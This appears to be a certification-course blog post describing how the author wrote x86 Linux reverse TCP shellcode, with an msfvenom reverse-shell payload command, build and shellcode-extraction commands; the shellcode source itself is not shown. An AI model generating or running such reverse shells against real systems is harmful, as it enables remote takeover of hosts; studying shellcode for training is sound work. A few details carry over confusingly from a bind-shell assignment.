x86 Linux Reverse TCP Shellcode
This blog post is a part of SLAE exam series. In this part we will cover assignment #2: Reverse TCP Shellcode.
Shellcode features:
- x86 Linux;
- Does not rely on
socketcall(0x66) syscall and instead uses direct syscalls such assocket(0x167),accept(0x16c),bind(0x169), etc (compatible with x86 Linux 4.3 and later); - Avoids null bytes for any listening port configuration;
- Source code here.
MSF Reverse Shellcode Study
Following the approach we took with assignment #1, we begin by looking at some of the reverse shellcode classics. Let’s run MSF’s linux/x86/shell_reverse_tcp shellcode through sctest shellcode emulator:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 -f raw | ./sctest -vvv -S -s 10000Looking at the sctest output above, we can see that the MSF shellcode relies only on 4 unique syscalls to get the job done:
- socket
- dup2
- connect
- execve
This should be easy enough to reproduce, so let’s get to work.
Proof of Concept
We couldn’t resist temptation of writing some more malware in C, so we begin with a simple reverse shellcode POC in C. It is pretty self-explanatory as can be seen below:
Compile the code with the following:
gcc -m32 reverse_shell.c -o reverse_shellLet’s run it:
Nice! Everything worked as expected.
ASM Reverse Shellcode
This one was pretty easy. We took the shellcode we wrote in previous assignment, dropped bind, listen and accept syscalls and added a connect syscall.
Compile and link our shellcode with the following commands (works on x64 Ubuntu 20.04):
# compile
nasm -f elf32 slae-2-reverse-shell.nasm -o slae-2-reverse-shell.o
# link
ld -m elf_i386 slae-2-reverse-shell.o -o slae-2-reverse-shellQuick test run to make sure everything works as expected:
Success! Everything works as expected.
Basic Loader Test
Keeping up with the practice of testing our shellcode with an actual loader, we are going to take it for a quick spin with our basic C loader.
Get Smooth Operator’s stories in your inbox
Join Medium for free to get updates from this writer.
First, extract the shellcode with the following command:
objdump -d ./slae-2-reverse-shell |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'Copy the extracted shellcode into our loader:
Compile the shellcode.c with the same command we used before:
gcc -m32 shellcode.c -o shellcodeQuick test to ensure it works as expected:
Everything worked as expected. Much success!
Automation
To wrap this up, we created a quick automation script to take arbitrary IP and port number and return a C array with your shellcode.
Here is a quick test run with bind shellcode connecting to 192.168.56.129 on TCP port 8888.
Exam Disclaimer
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: PA-30942





